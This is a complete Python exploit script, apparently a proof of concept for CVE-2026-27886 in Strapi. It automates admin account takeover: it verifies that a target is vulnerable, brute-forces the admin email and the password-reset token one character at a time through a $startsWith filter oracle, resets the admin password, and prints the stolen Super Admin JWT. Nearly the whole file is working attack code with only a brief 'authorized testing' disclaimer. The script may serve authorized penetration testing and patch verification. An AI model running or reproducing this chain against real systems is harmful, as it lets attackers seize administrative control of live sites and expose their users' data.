#!/usr/bin/env python3 """ CVE-2026-27886 Automated Account Takeover Exploit Full chain: email enum → password reset trigger → token exfiltration → admin JWT Bishop Fox Threat Enablement & Analysis LEGAL: This script is for authorized security testing only (CTF, pentesting with permission). """ import argparse import json import sys import time import urllib.error import urllib.parse import urllib.request from typing import Optional, Tuple DEFAULT_RELATION = "updatedBy" DEFAULT_EMAIL_ALPHABET = "@.+-abcdefghijklmnopqrstuvwxyz0123456789" DEFAULT_TOKEN_ALPHABET = "0123456789abcdef" TOKEN_LENGTH = 40 USER_AGENT = "cve-2026-27886-exploit/1.0" class ExploitError(Exception): """Raised when exploit chain fails.""" def http_get(url: str, timeout: float = 10.0) -> Tuple[int, str]: """GET request returning (status_code, body).""" req = urllib.request.Request(url, headers={"User-Agent": USER_AGENT}) try: with urllib.request.urlopen(req, timeout=timeout) as r: body = r.read().decode("utf-8") return r.status, body except urllib.error.HTTPError as e: body = e.read().decode("utf-8") if e.fp else "" return e.code, body except (urllib.error.URLError, TimeoutError, OSError) as e: raise ExploitError(f"Network error: {e}") def http_post_json(url: str, data: dict, timeout: float = 10.0) -> Tuple[int, dict]: """POST request with JSON, returning (status_code, response_json).""" body = json.dumps(data).encode("utf-8") req = urllib.request.Request( url, data=body, headers={"User-Agent": USER_AGENT, "Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req, timeout=timeout) as r: resp_body = r.read().decode("utf-8") try: return r.status, json.loads(resp_body) except json.JSONDecodeError: return r.status, {"raw": resp_body} except urllib.error.HTTPError as e: resp_body = e.read().decode("utf-8") if e.fp else "" try: return e.code, json.loads(resp_body) except json.JSONDecodeError: return e.code, {"raw": resp_body} except (urllib.error.URLError, TimeoutError, OSError) as e: raise ExploitError(f"Network error: {e}") def pagination_total(data) -> int: """Extract meta.pagination.total from API response.""" if not isinstance(data, dict): return 0 meta = data.get("meta") or {} pagination = meta.get("pagination") or {} try: return int(pagination.get("total") or 0) except (TypeError, ValueError): return 0 def parse_json_response(body: str) -> dict: """Parse JSON response body.""" try: return json.loads(body) except json.JSONDecodeError: raise ExploitError(f"Non-JSON response: {body[:200]}") def total_for_query(endpoint: str, params: dict) -> int: """Make request with params and return pagination.total.""" if params: url = f"{endpoint}?{urllib.parse.urlencode(params, safe='')}" else: url = endpoint status, body = http_get(url) if status != 200: raise ExploitError(f"HTTP {status} from {url}") data = parse_json_response(body) return pagination_total(data) def verify_vulnerable(endpoint: str) -> bool: """Check if endpoint is vulnerable using differential test.""" print("[*] Verifying vulnerability...") try: baseline = total_for_query(endpoint, {}) where_test = total_for_query(endpoint, {"where[id][$lt]": "-1"}) is_vuln = baseline > 0 and where_test == 0 if is_vuln: print(f" [+] Vulnerable: baseline={baseline}, where_test={where_test}") else: print(f" [-] Not vulnerable: baseline={baseline}, where_test={where_test}") return is_vuln except ExploitError as e: print(f" [-] Error: {e}") return False def enumerate_email( endpoint: str, relation: str = DEFAULT_RELATION, alphabet: str = DEFAULT_EMAIL_ALPHABET, max_len: int = 64, delay_s: float = 0.0, ) -> Optional[str]: """Brute-force admin email via $startsWith oracle.""" print("[*] Enumerating admin email...") known = "" email_chars = [] for position in range(max_len): found = False for c in alphabet: candidate = known + c params = {f"where[{relation}][email][$startsWith]": candidate} try: if total_for_query(endpoint, params) > 0: known += c email_chars.append(c) print(f" {known}", end="\r", flush=True) found = True break except ExploitError: pass if delay_s: time.sleep(delay_s) if not found: break if known: print(f" [+] Found admin email: {known}") return known else: print(" [-] Failed to enumerate email") return None def trigger_password_reset(base_url: str, admin_email: str) -> bool: """POST /admin/forgot-password to generate reset token.""" print(f"[*] Triggering password reset for {admin_email}...") forgot_url = f"{base_url}/admin/forgot-password" try: status, resp = http_post_json(forgot_url, {"email": admin_email}) # Strapi returns 204 on success (no content), ignores if email doesn't exist if status in (204, 200): print(f" [+] Password reset triggered (HTTP {status})") return True else: print(f" [-] Unexpected response: HTTP {status}") return False except ExploitError as e: print(f" [-] Error: {e}") return False def extract_reset_token( endpoint: str, relation: str = DEFAULT_RELATION, alphabet: str = DEFAULT_TOKEN_ALPHABET, length: int = TOKEN_LENGTH, delay_s: float = 0.0, ) -> Optional[str]: """Brute-force resetPasswordToken via $startsWith oracle.""" print(f"[*] Extracting {length}-char reset token...") known = "" for position in range(length): found = False for c in alphabet: candidate = known + c params = {f"where[{relation}][resetPasswordToken][$startsWith]": candidate} try: if total_for_query(endpoint, params) > 0: known += c percent = int((position + 1) / length * 100) print(f" [{percent:3d}%] {known}", end="\r", flush=True) found = True break except ExploitError: pass if delay_s: time.sleep(delay_s) if not found: print(f"\n [+] Token extraction complete: {known}") return known if len(known) >= length: print(f"\n [+] Token extraction complete: {known}") return known else: print(f"\n [-] Failed (only got {len(known)}/{length} chars)") return None def reset_password_with_token( base_url: str, reset_token: str, new_password: str ) -> Optional[str]: """POST /admin/reset-password with token to get Super Admin JWT.""" print(f"[*] Resetting password with stolen token...") reset_url = f"{base_url}/admin/reset-password" try: status, resp = http_post_json( reset_url, {"resetPasswordToken": reset_token, "password": new_password}, ) if status == 200 and "data" in resp: jwt = resp["data"].get("token") user = resp["data"].get("user", {}) if jwt: print(f" [+] Password reset successful!") print(f" [+] JWT: {jwt[:50]}...") print(f" [+] User: {user.get('email')} (ID: {user.get('id')})") return jwt else: print(f" [-] Response missing JWT") return None else: print(f" [-] Unexpected response: HTTP {status}") return None except ExploitError as e: print(f" [-] Error: {e}") return None def full_exploit( endpoint: str, base_url: str, admin_email: Optional[str] = None, new_password: str = "Pwned@123456", delay_s: float = 0.0, ) -> Optional[str]: """Run full account takeover chain.""" print(f"\n[+] Target: {endpoint}") print(f"[+] Base URL: {base_url}") # Step 1: Verify vulnerability if not verify_vulnerable(endpoint): raise ExploitError("Target is not vulnerable") # Step 2: Enumerate email if not provided if not admin_email: admin_email = enumerate_email(endpoint, delay_s=delay_s) if not admin_email: raise ExploitError("Failed to enumerate admin email") else: print(f"[*] Using provided admin email: {admin_email}") # Step 3: Trigger password reset if not trigger_password_reset(base_url, admin_email): raise ExploitError("Failed to trigger password reset") # Step 4: Extract reset token reset_token = extract_reset_token(endpoint, delay_s=delay_s) if not reset_token: raise ExploitError("Failed to extract reset token") # Step 5: Reset password and get JWT jwt = reset_password_with_token(base_url, reset_token, new_password) if not jwt: raise ExploitError("Failed to reset password and get JWT") return jwt def build_arg_parser() -> argparse.ArgumentParser: p = argparse.ArgumentParser( description=( "CVE-2026-27886 Automated Account Takeover Exploit. " "Extracts admin email, triggers password reset, steals reset token, and takes over admin account. " "For authorized security testing only." ), formatter_class=argparse.RawDescriptionHelpFormatter, ) p.add_argument( "endpoint", help="Full URL to a public Strapi Content API collection (e.g. https://target/api/articles)", ) p.add_argument( "-b", "--base-url", required=False, help="Base URL for /admin/* endpoints (defaults to endpoint's base, e.g., https://target)", ) p.add_argument( "-e", "--email", required=False, help="Admin email (if known, skips enumeration)", ) p.add_argument( "-p", "--password", default="Pwned@123456", help="New password to set (default: Pwned@123456)", ) p.add_argument( "--delay", type=float, default=0.0, help="Per-request delay in seconds", ) p.add_argument( "-v", "--verify-only", action="store_true", help="Only verify vulnerability, don't exploit", ) return p def main() -> int: args = build_arg_parser().parse_args() endpoint = args.endpoint.rstrip("/") # Determine base URL if args.base_url: base_url = args.base_url.rstrip("/") else: # Extract base from endpoint: https://target/api/articles → https://target parts = urllib.parse.urlparse(endpoint) base_url = f"{parts.scheme}://{parts.netloc}" try: if args.verify_only: if verify_vulnerable(endpoint): print("[+] Target is VULNERABLE to CVE-2026-27886") return 0 else: print("[-] Target is NOT vulnerable") return 1 jwt = full_exploit( endpoint=endpoint, base_url=base_url, admin_email=args.email, new_password=args.password, delay_s=args.delay, ) print(f"\n[+] SUCCESS! Admin account compromised.") print(f"[+] JWT Token:\n{jwt}\n") print(f"[+] You can now use this JWT to access /admin/* endpoints") print(f"[+] Set Authorization header: Bearer {jwt}") return 0 except ExploitError as e: print(f"\n[-] EXPLOIT FAILED: {e}") return 1 except KeyboardInterrupt: print("\n\n[-] Interrupted by user") return 130 if __name__ == "__main__": sys.exit(main())